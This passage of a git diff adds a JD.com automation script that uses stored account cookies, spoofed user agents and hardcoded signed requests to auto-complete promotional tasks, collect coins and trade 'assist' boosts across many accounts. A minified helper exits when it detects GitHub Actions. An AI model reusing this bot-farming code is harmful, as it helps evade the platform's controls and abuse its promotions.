"jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", +] +USER_AGENTS = USER_AGENTS[random.randint(0, len(USER_AGENTS) - 1)] + + +def root(): + if 'Options:' in os.popen('sudo -h').read() or re.match(r'[C-Z]:.*', os.getcwd()): + return True + else: + print('珍爱ck,远离docker') + return False diff --git a/backUp/jd_EsportsManager.js b/backUp/jd_EsportsManager.js new file mode 100644 index 0000000000..25f466bfe8 --- /dev/null +++ b/backUp/jd_EsportsManager.js @@ -0,0 +1,521 @@ +/** + Author: JDHelloWorld + 东东电竞经理:脚本更新地址 jd_EsportsManager.js + 更新时间:2021-06-20 + 活动入口:京东APP-东东农场-风车-电竞经理 + 活动链接:https://xinruidddj-isv.isvjcloud.com + 已支持IOS双京东账号,Node.js支持N个京东账号 + 脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js + 互助码shareCode请先手动运行脚本查看打印可看到 + ==========================Quantumultx========================= + [task_local] + #东东电竞经理 + 0 0-23/2 * * * jd_EsportsManager.js, tag=东东电竞经理, img-url=https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/icon/jd_EsportsManager.png, enabled=true + =========================Loon============================= + [Script] + cron "0 0-23/2 * * *" script-path=jd_EsportsManager.js,tag=东东电竞经理 + + =========================Surge============================ + 东东电竞经理 = type=cron,cronexp="0 0-23/2 * * *",wake-system=1,timeout=3600,script-path=jd_EsportsManager.js + + =========================小火箭=========================== + 东东电竞经理 = type=cron,script-path=jd_EsportsManager.js, cronexpr="0 0-23/2 * * *", timeout=3600, enable=true + + 按顺序给第(Math.floor((index - 1) / 6) + 1)个账号助力 + 可能有BUG,但不会给别人号助力 + + */ + +const $ = new Env('东东电竞经理'); +let cookiesArr = [], cookie = '', isBox = false, notify, newShareCodes, allMessage = ''; +let tasks = [], shareCodes = [], first = true; + +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + $.shareCode = await makeShareCode(); + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + await getIsvToken(); + await getIsvToken2(); + await getToken(); + + let r = await get_produce_coins(); + if (r !== 200) + continue + + await $.wait(1000); + + await main(); + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + +async function main() { + tasks = await detail(); + for (let i = 0; i < tasks.length; i++) { + let product_info_vos = [] + let task_vos = tasks[i] + switch (i) { + case 0: + if (task_vos.status === '1') + await do_task(task_vos.simple_record_info_vo.task_token, task_vos.task_id, task_vos.task_type) + continue + case 1: + await getShareCode(task_vos.assist_task_detail_vo.task_token) + await $.wait(1000) + + await getAssist() + await $.wait(1000) + + console.log(`第${$.index}个账号${$.UserName}去助力第${Math.floor(($.index - 1) / 6) + 1}个账号。`) + await doAssist() + continue + case 2: + product_info_vos = task_vos['browse_shop_vo'] + break + case 3: + product_info_vos = task_vos['shopping_activity_vos'] + break + case 4: + product_info_vos = task_vos['brand_member_vos'] + continue + case 5: + product_info_vos = task_vos['product_info_vos'] + break + case 6: + product_info_vos = task_vos['shopping_activity_vos'] + break + case 7: + product_info_vos = task_vos['follow_shop_vo'] + break + default: + "" + } + let taskId = task_vos.task_id, taskType = task_vos.task_type; + for (let t of product_info_vos) { + if (t.status === '1') { + console.log(`开始任务:${task_vos.task_name}`) + let res = await do_task(t.task_token, taskId, taskType) + await $.wait(1000) + } + } + } +} + +function getShareCode(token) { + return new Promise(resolve => { + $.get({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/uc/user', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + } + }, (err, resp, data) => { + try { + data = $.toObj(data) + shareCodes.push({ + 'tid': token, + 'uid': data.body.openid + }) + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${shareCodes[$.index - 1].uid}\n`); + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doAssist() { + return new Promise(resolve => { + $.post({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/do_assist_task', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + }, + body: `token=${shareCodes[Math.floor(($.index - 1) / 6)].tid}&inviter=${Math.floor(($.index - 1) / 6).uid}` + }, (err, resp, data) => { + try { + data = $.toObj(data) + if (data.status === '0') { + console.log('助力成功') + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getAssist() { + return new Promise(resolve => { + $.get({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/today_assist?task_id=2&need_num=10', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + } + }, (err, resp, data) => { + try { + data = $.toObj(data) + console.log(`今日共收到${data.body.length}个助力`) + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getIsvToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken&clientVersion=10.0.2&client=android&uuid=818aa057737ba6a4&st=1623934987178&sign=0877498be29cda51b9628fa0195f412f&sv=111', + body: `body=${escape('{"action":"to","to":"https%3A%2F%2Fh5.m.jd.com%2FbabelDiy%2FZeus%2F3KSjXqQabiTuD1cJ28QskrpWoBKT%2Findex.html%3FbabelChannel%3D45%26collectionId%3D519"}')}`, + headers: { + 'Host': 'api.m.jd.com', + 'charset': 'UTF-8', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + data = JSON.parse(data); + $.isvToken = data['tokenKey']; + console.log(`isvToken:${$.isvToken}`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getIsvToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.2&client=android&uuid=818aa057737ba6a4&st=1623934998790&sign=e571148c8dfb456a1795d249c6aa3956&sv=100', + body: `body=${escape('{"id":"","url":"https://xinruidddj-isv.isvjcloud.com"}')}`, + headers: { + 'Host': 'api.m.jd.com', + 'charset': 'UTF-8', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.token2 = data['token'] + console.log(`token2:${$.token2}`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getToken() { + let config = { + url: 'https://xinruidddj-isv.isvjcloud.com/api/user/jd/auth', + body: `token=${$.token2}&source=01`, + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'Authorization': 'Bearer undefined', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Sec-Fetch-Mode': 'cors', + 'X-Requested-With': 'com.jingdong.app.mall', + 'Sec-Fetch-Site': 'same-origin', + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/exception/?channel=DDLY&sid=fd5e44488241862af88cb40cbebf660w&un_area=12_904_3373_62101', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'Cookie': `IsvToken=${$.isvToken};` + }, + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.token = data.body.access_token + console.log($.token) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function detail() { + return new Promise(resolve => { + $.get({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/detail', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'Accept-Language': 'zh-cn', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/', + } + }, (err, resp, data) => { + if (!err) { + try { + resolve(JSON.parse(data).body.task_vos) + } catch (e) { + resolve("黑号") + } finally { + resolve([]) + } + } + }) + }) +} + +function do_task(token, id, type) { + return new Promise(resolve => { + // console.log(token, id, type) + $.post({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/do_task', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'Accept-Language': 'zh-cn', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/', + }, + body: `token=${token}&task_id=${id}&task_type=${type}` + }, (err, resp, data) => { + try { + if (!err) { + data = JSON.parse(data) + if (data.status === '0') { + let result = data.body.result + console.log(`任务成功:本次获得 ${result.acquired_score},账户总额 ${result.user_score}`) + resolve(200); + } else { + console.log('任务失败!') + resolve(502) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} + +function makeShareCode() { + return new Promise(resolve => { + $.post({ + url: 'https://api.m.jd.com/client.action?functionId=jdf_queryBothwayFriendsInfo', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'Cookie': cookie + }, + body: "body=%7B%7D&build=167694&client=apple&clientVersion=10.0.2&openudid=fc13275e23b2613e6aae772533ca6f349d2e0a86&sign=399128e7314f716adbf1ca9d9c205a10&st=1623850849392&sv=110" + }, (err, resp, data) => { + try { + if (!err) { + data = JSON.parse(data) + resolve(data.data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} + +function get_produce_coins() { + return new Promise(resolve => { + $.post({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/club/get_produce_coins', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'Accept-Language': 'zh-cn', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/', + }, + }, (err, resp, data) => { + try { + if (!err) { + data = JSON.parse(data) + console.log("收币:", data) + if (data.status === '0') { + let coins = parseInt(data.body.coins) + console.log(`收币成功:获得 ${coins}`) + } else { + console.log('收币失败!') + resolve(500) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(200) + } + }) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let 